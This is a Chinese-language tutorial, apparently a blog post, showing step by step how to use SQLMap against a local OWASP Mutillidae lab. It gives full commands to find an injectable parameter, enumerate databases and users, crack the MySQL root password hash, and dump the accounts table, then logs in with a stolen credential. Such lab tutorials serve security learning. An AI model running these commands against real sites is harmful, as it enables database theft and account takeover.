目录结构

一、判断被测url的参数是否存在注入点
二、获取数据库系统的所有数据库名称(暴库)
三、获取Web应用当前所连接的数据库
四、获取Web应用当前所操作的DBMS用户
五、列出数据库中的所有用户
六、列出数据库中所有账户-对应的密码哈希
七、列出指定数据库中的所有数据表
八、列出指定数据表中的所有字段(列)
九、导出指定数据表中的列字段进行保存
十、根据导出的数据,验证数据有效性

利用SQLMap自动化工具,可判断某个带参数的url是否可被SQL注入,继而获取数据库和服务器的相关敏感数据和信息(如:库、表、列、字段值、数据库和服务器的名称&版本...)。
本文以本地环境搭建的Web漏洞环境(OWASP Mutillidae+phpStudy)进行测试,具体操作流程如下:

Mutillidae漏洞程序

备注说明:因操作系统中同时安装有Python2和Python3的环境,为了区分两个版本,所以在以下sqlmap的操作命令中用python2开头,具体根据各自配置情况决定(常规情况直接用python开头)

一、判断被测url的参数是否存在注入点

python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details"
实际操作可以加上参数--batch,不用每次都提示作选择[Y/N]

 

从以上信息可知:
1)被测url中的username参数存在注入点,可被利用注入的类型有(布尔盲注、报错注入、基于时间的盲注、联合查询注入);
2)以及Web应用程序所采用的服务环境(DBMS、OS、PHP、Apache)的名称和版本号;
3)检测的结果会自动保存到设定的目录下供查看

二、获取数据库系统的所有数据库名称(暴库)

枚举DBMS所有数据库: --dbs

SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --dbs

执行结果:检测列出了Mysql数据库管理系统中的6个数据库

三、获取Web应用当前所连接的数据库

检索DBMS当前数据库: --current-db

SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --current-db

执行结果:当前连接的数据库是nowasp

四、获取Web应用当前所操作的DBMS用户

检索DBMS当前用户: --current-user

SQLMap执行命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --current-user

执行结果:当前操作的用户未root权限的超级用户

五、列出数据库中的所有用户

枚举DBMS所有用户: --users

SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --users

执行结果:DBMS中的所有用户都是root权限的超级用户

六、列出数据库中所有账户-对应的密码哈希

枚举DBMS所有用户的密码哈希: --passwords

SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" --passwords
过程中,需要选择是否执行对密码哈希的解密,利用到SQLMap内置的密码字典进行攻击

执行结果:
root用户的密码哈希是*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B,解密之后是root

采用的是mysql5方式加密(http://www.cmd5.com/)

 

七、列出指定数据库中的所有数据表

枚举DBMS数据库中的所有表: -D xx库 --tables

参数:
-D 指定数据库名称
--tables 列出所有数据表

首先再查看一下第二步中检测出的所有数据库名称:

 

比如本次选择检测数据库为nowasp,则
SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp --tables

执行结果:检测nowasp数据库,列出了其下的13个表

八、列出指定数据表中的所有字段(列)

枚举DBMS数据库表中的所有列: -D xx库 -T xx表 --columns

参数:
-D 指定数据库名称
-T 指定数据表名称
--columns 列出所有字段(列)

SQLMap操作命令:
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp -T accounts --columns

执行结果:检测列出了nowasp数据库->accounts表中的所有7个字段名称及其类型

九、导出指定数据表中的列字段进行保存

导出DBMS数据表项: -D xx库 -T xx表 -C "字段1,字段2,..." --dump

参数:
-D 指定数据库名称
-T 指定数据表名称
-C 指定需要枚举的DBMS数据库表字段
--dump 导出DBMS数据表项

SQLMap操作命令:(导出部分字段)
python2 sqlmap.py -u "http://127.0.0.1:8001/mutillidae/index.php?page=user-info.php&username=test&password=123&user-info-php-submit-button=View+Account+Details" -D nowasp -T accounts -C "cid,is_admin,username,password" --dump

执行结果:检测列出了指定的字段值

 

若不指定某几个字段的导出,想要导出所有字段值,则可以采用命令如-D nowasp -T accounts --dump

 

导出的结果会自动存储到特定的文件路径下

十、根据导出的数据,验证数据有效性

从刚才导出的字段值中,选取一组username/password:admin---adminpass

 

输入选取的用户名和密码之后,检验账户信息,确实存在此账户,如下:

(五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据的更多相关文章

  1. python使用sqlmap API检测SQL注入

    0x00前言: 大家都知道sqlmap是非常强大的sql注入工具,最近发现他有个sqlmap API,上网查了一下.发现这是 sqlmap的微端.(可以叫做sqlmap在线检测sql注入= =) 0x ...

  2. sql脚本来获取数据库中的所有表结构了

    sql脚本来获取数据库中的所有表结构了,代码如下: use AdventureWorks2008 go SELECT (case when a.colorder=1 then d.name else ...

  3. sqlmap检测sql注入漏洞

    sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.它由python语言开发而成,因此运行需要安装python环境. 官网:http://sqlmap.org/ 乌 ...

  4. 手工检测SQL注入漏洞

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...

  5. 使用 UEditor 编辑器获取数据库中的数据

    在 ThinkPHP 3.2.2 中,使用 UEditor 编辑器获取数据库中保存的数据,可以使用 UEditor 自身提供的方法. 首先在视图模板中实例化编辑器,这是出现编辑器界面的必须的行为: & ...

  6. 用SQLMAP工具进行SQL注入

    1.检查注入点 [注入点需要自己寻找,可以利用一些工具,例如:Acunetix Web Vulnerability scanner (WVS),AppScan等]u表示URL. sqlmap   -  ...

  7. 当From窗体中数据变化时,使用代码获取数据库中的数据然后加入combobox中并且从数据库中取得最后的结果

    private void FormLug_Load(object sender, EventArgs e) { FieldListLug.Clear();//字段清除 DI = double.Pars ...

  8. 根据不同的实体及其ID来获取数据库中的数据

    /// <summary> /// 根据不同的实体和其ID来获取信息 /// </summary> /// <typeparam name="T"&g ...

  9. php页面获取数据库中的数据

    <!DOCTYPE HTML><html>    <head>        <meta charset="utf-8" />   ...

随机推荐

  1. Web_php_include-攻防世界

    0x00 简介 记录这个题纯粹是为了记录以下有关strstr()函数的相关知识. 0x01 题目 <?php show_source(__FILE__); echo $_GET['hello'] ...

  2. DIV+CSS布局的优势和弊端

    DIV+CSS的优势1.符合W3C标准.这保证您的网站不会因为将来网络应用的升级而被淘汰.2.对浏览者和浏览器更具亲和力.由于CSS富含丰富的样式,使页面更加灵活性,它可以根据不同的浏览器,而达到显示 ...

  3. Wfuzz使用学习

    工具用了不总结,使用命令很容易生疏,今天就把笔记梳理总结一下. 0x01 简介 WFuzz是用于Python的Web应用程序安全性模糊工具和库.它基于一个简单的概念:它将给定有效负载的值替换对FUZZ ...

  4. R的安装以及包安装

        今天看论文,需要用到R语言的库,于是又折腾了半天..     其实并没有什么太大的问题,只是在第三方包的下载方面还有python中使用R方面遇到了问题: 第三方包的导入      其实在网上有 ...

  5. SpringMVC底层执行原理

    一个简单的HelloSpringMVC程序 先在web,xml中注册一个前端控制器(DispatcherServlet) <?xml version="1.0" encodi ...

  6. STM32 Keil 软件仿真设置

    设置 Dialog.DLL 分别为:DARMSTM.DLL和TARMSTM.DLL, Parameter 均为:-pSTM32F103RC,用于设置支持芯片的软硬件仿真

  7. SpringBoot2.1电商通用(微信+支付宝)支付系统实战

    『课程目录』: ├─第10章 全模块电商系统之商品模块 │      10-1_商品列表-上.mp4 │      10-2_商品列表-中.mp4 │      10-3_商品列表-下.mp4 │  ...

  8. MySql 语言分类

    (1)数据定义语言,即SQL DDL,用于定义SQL模式.基本表.视图.索引等结构.(2)数据操纵语言,即SQL DML.数据操纵分成数据查询和数据更新两类.(3)数据查询语言,即SQL DQL.(4 ...

  9. Linux下搭建mongDB环境

    参考: https://blog.csdn.net/qq_35763837/article/details/79654023 https://www.linuxidc.com/Linux/2016-0 ...

  10. 0511Object类和异常

    Object类和异常 [要点] toString方法:将类中要打印的信息转换为自定义格式的打印内容 [返回的是当前对象对应的完整包名.类名@当前对象在内存空间首地址(十六进制)] equals方法 p ...